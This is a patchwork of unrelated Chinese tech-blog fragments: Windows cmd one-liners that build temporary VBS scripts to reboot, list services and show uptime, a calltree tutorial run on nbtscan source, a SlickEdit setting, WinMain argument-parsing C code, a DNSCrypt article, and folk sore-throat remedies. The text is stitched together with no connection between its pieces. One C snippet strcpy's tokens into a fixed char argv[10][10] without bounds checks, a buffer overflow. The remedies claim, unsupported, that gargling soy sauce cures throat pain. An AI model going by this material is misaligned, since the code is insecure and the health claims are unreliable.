然后: del pk.vbs
4,重启系统
@echo for each os in getobject _ >rb.vbs @echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs @echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs @echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是: yyyymmddHHMMSSxxxxxxZZZZ _年_月日时分秒_微秒_时区
8,显示系统运行时间
@echo for each os in getobject _ >rt.vbs @echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs @echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs @echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs @echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。
附言 cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。
也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。
最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。
平时用vim+cscope+ctags看程序还不错,但跳来跳去还是不太直观,如果能将C代码的调用生成调用树就再好不过了,果然,偶找到了一款不错的工具calltree,有了这个工具,可以说宏观微宏一起把握了,
先看一下用它生成的函数调用图:
源码是nbtscan小工具的代码.
ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
main [nbtscan.c:289]: | FD_ISSET | FD_SET | FD_ZERO | atoi | bind | bzero | d_print_hostinfo [nbtscan.c:93] | | inet_ntoa | | printf | | strncpy | delete_list [list.c:29] | | free | err_die | err_print | exit | feof | fgets | fopen | fprintf | free | getopt | gettimeofday | htons | in_list [list.c:101] | | compare [list.c:47] | | new_list_item [list.c:17] | | | err_die | | | malloc | inet_aton | inet_ntoa | insert [list.c:55] | | compare [list.c:47] | | free | | new_list_item [list.c:17] | | | err_die | | | malloc | l_print_hostinfo [nbtscan.c:260] | | inet_ntoa | | printf | | strncpy | malloc | new_list [list.c:8] | | err_die | | malloc | next_address [range.c:72] | | htonl | | ntohl | ntohl | parse_response [statusq.c:147] | | bzero | | get16 [statusq.c:137] | | | memcpy | | | ntohs | | get32 [statusq.c:127] | | | memcpy | | | ntohl | | malloc | | memcpy | | strncpy | | typeof | print_banner [nbtscan.c:26] | | printf | print_header [nbtscan.c:87] | | printf | print_hostinfo [nbtscan.c:207] | | inet_ntoa | | printf | | strncpy | printf | recvfrom | select | send_query [statusq.c:93] | | bzero | | err_print | | gettimeofday | | htons | | inet_ntoa | | name_mangle [statusq.c:40] | | | HAVE_SNPRINTF | | | memset | | | snprintf | | | sprintf | | | strcmp | | | strlen | | | toupper | | sendto | | snprintf | set_range [nbtscan.c:80] | | is_ip [range.c:21] | | | inet_addr | | | ntohl | | is_range1 [range.c:36] | | | abs | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | | is_range2 [range.c:91] | | | atoi | | | err_die | | | free | | | inet_addr | | | malloc | | | ntohl | | | strchr | | | strcpy | | | strlen | sleep | snprintf | socket | strcmp | strdup | timerclear | timercmp | timersub | usage [nbtscan.c:32] | | exit | | printf | v_print_hostinfo [nbtscan.c:156] | | getnbservicename [statusq.c:370] | | | err_die | | | malloc | | | snprintf | | | strstr | | inet_ntoa | | printf | | strncpy
还不错哦,能很直观地显示程序的架构
下面介绍一下各选项: ljt@debian:~/source/nbtscan-1.5.1$ calltree -gb -np -m *.c
-b 就是那个竖线了,很直观地显示缩进层次。 -g 打印内部函数的所属文件名及行号,外部函数所属文件名和行号也是可打印的,详man
-np 不要调用c预处理器,这样打印出的界面不会很杂乱,但也可能会产生错误哦,如果我们只看 函数的调用关系的话,不会有大问题。 -m 告诉程序从main开始
还有一个重要的选项是 listfunction ,缩写是lf,用来只打印某个函数中的调用,用法是: $calltree -gb -np lf=send_query *.c
send_query [statusq.c:93]: | bzero | err_print | gettimeofday | htons | inet_ntoa | name_mangle [statusq.c:40] | | HAVE_SNPRINTF | | memset | | snprintf | | sprintf | | strcmp | | strlen | | toupper | sendto | snprintf
还有几个不太常用的就不介绍了,细节大家还是看man吧,另外说明一点的是,安装的时候它默认是安装到"/opt/schily/"目录下,下面有bin, man, include等几个目录,你可以设置环境变量,或者干脆把它拷贝到/usr里相应的目录下,或者修改Makefile啦
下载地址:
ftp://ftp.berlios.de/pub/calltree/calltree-2.3.tar.bz2
calls似乎是一个挺老的小工具,用的人也不多。用途就是打印函数的调用关系。 地址:ftp://sunsite.unc.edu/pub/Linux/devel/lang/c/calls.tar.Z 下载解压后得到的那个可执行文件居然不能运行。 -bash: ./calls: cannot execute binary file 重新编译居然报错。还需要修改main.c文件 原来是: extern char *sys_errlist[]; 改为: extern __const char *__const sys_errlist[]; 再编译,OK了。
名叫 calls 的文件移动到 /usr/bin 目录. 把名叫 calls.1 的文件移动到目录 /usr/share/man/man1/ OK,可以用了。
|
E貌似有自己的shell,可以通过Build窗口访问,是一个很方便的功能,在工程中点击Compile或是Build,编译的输出信息都会显示在Build窗口中,如果编译出现错误,双击Error或是Warning就可以在源文件中定位,是一个十分方便的功能,不过我一直被乱码所困扰,原因大概是shell默认是用的语言是zh_CN-UTF8,和SE的默认编码方式不同,所以我们需要在SE初始化的时候修改环境变量,方法如下:
- gedit ~/.slickedit/14.0.2/vslick.ini
- 添加以下内容:
[Enviroment] LANG = en_US.UTF-8 - Ctrl + S
- 重启SE
我们还可以在这里添加其它环境变量,SE下Ctrl + Space切换输入法的设置貌似也可以在这设置,不过还没成功过。
1 PCHAR 2 GetFormattedTime( 3 BOOL bDateToo 4 ) 5 { 6 static char szTime[64]; 7 int cch = 0; 8 9 if (bDateToo) { 10 11 cch = 12 GetDateFormat( 13 LOCALE_USER_DEFAULT, 14 0, 15 NULL, // current date 16 "ddd", // short day of week 17 szTime, 18 sizeof szTime 19 ); 20 21 // cch includes null terminator, change it to 22 // a space to separate from time. 23 24 szTime[ cch - 1 ] = ' '; 25 } 26 27 // 28 // Get time and format to characters 29 // 30 31 GetTimeFormat( 32 LOCALE_USER_DEFAULT, 33 TIME_NOSECONDS, 34 NULL, // use current time 35 NULL, // use default format 36 szTime + cch, 37 (sizeof szTime) - cch ); 38 39 return szTime; 40 } 41
DNSCrypt —— 一个加密DNS传输的工具
2012-03-24 23:42
DNSCrypt是一个确保客户与DNS服务器之间传输安全的工具,基于DNSCurve修改而来。
由于Domain Name System(DNS)设计上的缺陷,用户在浏览器里输入很多海外网址以后,如果遭遇MITM或者DNS污染,浏览器就可能接收到错误的IP,而存在安全问题。为了解决这样的问题,IETF在十几年前便开始制定DNS的安全扩展(DNSSEC)。利用公开密钥加密技术,通过对DNS数据进行数字签名,DNSSEC能够验证DNS数据来源和验证在传输过程中DNS是否被篡改。
但是DNSSEC不保证DNS数据的机密性,DNS数据本身并没有被加密,加之DNS的阶层式模式,这便为一些机构提供监视,控制网络的手段。典型的例子就是不能访问一些海外的网站。DNSSEC也不提供免于DOS(Deny of Service)攻击的办法,由于数字签名和签名验证需要额外的数据运算,DNSSEC反而更容易受到DOS攻击。DNSCurve相对于DNSSEC的好处是,DNSCurve使用了更有效率的椭圆曲线加密算法而可以负担的起每条查询都单独加密,从而更加安全。
DNSCrypt协议是非常类似DNSCurve的,作为一个DNS代理运行,侧重于客户端和第一级DNS服务器之间的通信安全,能够缓存DNS解析。DNSCrypt的上游DNS服务器是著名的OpenDNS服务,简单而言DNSCrypt就是加密了本机到OpenDNS服务器之间的DNS查询通信过程(使用椭圆曲线加密算法),所以可以不受GreatFireWall的DNS污染干扰。
首先下载对应平台的dnscrypt client然后运行,接着修改本地或者router的dns server为127.0.0.1. 然后你的所有dns请求都会加密进行从而绕过GreatFireWall的dns污染顺利解析到正确IP,以下是Win7系统设置的图示:(DNSCrypt可以在Windows/Linux/BSD/OSX/iOS系统上运行)
更多详情:https://github.com/opendns/dnscrypt-proxy/
下载地址:https://github.com/opendns/dnscrypt-proxy/downloads
使用后即可直接访问一些遭到DNS污染的网站,如果网站还支持https也可以访问其https网址,比如一些Google服务。 |
8、咽喉干肿
推荐:蜜梨膏
做法:取生梨,用榨汁机榨成梨汁,加入适量蜂蜜,以文火熬制成膏。每日一匙,能清热去火、生津润喉。
点评:蜂蜜甘平,入肺脾大肠经,能润肠通便,补肺润喉,又能解毒。梨甘微酸凉,入肺脾经,能治口渴咳嗽便秘。所以二者放在一起熬膏可以起到润喉的作用。新鲜绿叶蔬菜、黄瓜、橙子、绿茶、梨、胡萝卜也有很好的清火作用。
2、咽喉肿痛
常吃生梨能防治口舌生疮和咽喉肿痛;用醋加同量的水漱口,可减轻痛苦;嫩丝瓜捣烂挤汁,频频含漱;咽喉疼痛时,可用一匙酱油漱口,漱1分钟左右吐出,连续3-4次,有疗效
#include "stdafx.h" #include <STRING.h> #include <STDIO.H> int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. char *pCmdLine = GetCommandLine(); char sep[] = " "; char *token = NULL; char argv[10][10] = {0}; int argc = 0; token = strtok(pCmdLine,sep); while (token != NULL) { strcpy(argv[argc++],token); OutputDebugString(token); token = strtok(NULL,sep); } return 0; }
WinMain支持命令行参数的代码
#include <windows.h> #include <stdio.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; int argc = 0; LPWSTR *lpszArgv = NULL;
LPWSTR szCmdLine =(LPWSTR)::GetCommandLineW(); //获取命令行参数; lpszArgv = ::CommandLineToArgvW((const unsigned short *)szCmdLine, &argc); //拆分命令行参数字符串;
if (lpszArgv == NULL) { MessageBox(NULL, "Unable to parse command line", "Error", MB_OK); return 10; } for(int i = 0; i < argc; i++)
{ char str[MAX_PATH]; memset(str,0,MAX_PATH); //将LPWSTR转换为char *: WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK,lpszArgv[i], -1,str,200,NULL,NULL); MessageBox(NULL,str, "Arglist contents", MB_OK); } LocalFree(lpszArgv); return 0; }
一个简单的 方法用stdlib.h中的__argc,__argv
#include <windows.h> #include <stdlib.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd) { //for the command line; for(int i = 0; i <__argc; i++)
{ char str[MAX_PATH]; char * str1; memset(str,0,MAX_PATH); //下面是获取命令行参数值的典型用法: lstrcpy(str,__argv[i]); str1=strdup(__argv[i]); //MessageBox(NULL,str, "Arglist contents", MB_OK); MessageBox(NULL,str1, "Arglist contents", MB_OK); } return 0; }
|